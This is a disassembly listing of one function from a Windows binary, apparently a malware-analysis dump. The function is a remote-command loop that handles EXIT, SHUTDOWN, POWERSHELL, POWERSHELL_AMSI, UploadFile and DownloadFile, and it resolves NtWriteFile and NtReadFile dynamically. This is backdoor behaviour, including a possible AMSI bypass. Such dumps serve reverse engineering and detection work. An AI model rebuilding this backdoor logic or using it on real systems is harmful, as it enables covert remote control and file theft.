Function at 0x140002090
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
call fcn.140001500
mov ecx, 0x1000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
xor ebp, ebp
nop dword [rax]
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x1000
mov rdx, rbx
call fcn.140001220
cmp eax, 0xffffffff
jne 0x1400020ea
call fcn.140001500
jmp 0x1400020c0
mov r8d, 6
lea rdx, str._EXIT_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000235d
mov r8d, 0xa
lea rdx, str._SHUTDOWN_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400020c0
mov r8d, 0xc
lea rdx, str._POWERSHELL_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140002148
xor ecx, ecx
call fcn.140001ae0
jmp 0x1400020c0
mov r8d, 0x11
lea rdx, str._POWERSHELL_AMSI_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x14000216e
mov cl, 1
call fcn.140001ae0
jmp 0x1400020c0
mov r8d, 0xa
lea rdx, str.UploadFile
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
mov rcx, rbx
test eax, eax
jne 0x140002263
xor edx, edx
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x400
mov rdx, rbx
call fcn.140001220
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
mov rsi, rax
call sub.VCRUNTIME140.dll_memset
nop word [rax + rax]
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x1000
mov rdx, rbx
call fcn.140001220
mov rcx, qword [0x140006658]
lea rdx, str.NtWriteFile
mov edi, eax
call fcn.140001020
mov qword [rsp + 0x40], rbp
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rbp
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, rsi
call rax
cmp edi, 0x1000
je 0x1400021f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400020c0
mov r8d, 0xc
lea rdx, str.DownloadFile
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140002346
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x400
mov rdx, rbx
call fcn.140001220
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
test rdi, rdi
je 0x1400020c0
xor r8d, r8d
mov rdx, rbx
call fcn.140001390
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140006658]
lea rdx, str.NtReadFile
call fcn.140001020
mov qword [rsp + 0x40], rbp
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x38], rbp
xor r9d, r9d
mov dword [rsp + 0x30], 0x1000
xor r8d, r8d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, rdi
call rax
test eax, eax
jns 0x1400022e1
jmp 0x1400020c0
mov r8d, 0x13
lea rdx, str._NOT_FOUND_COMMAND_
call fcn.140001390
jmp 0x1400020c0
or ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3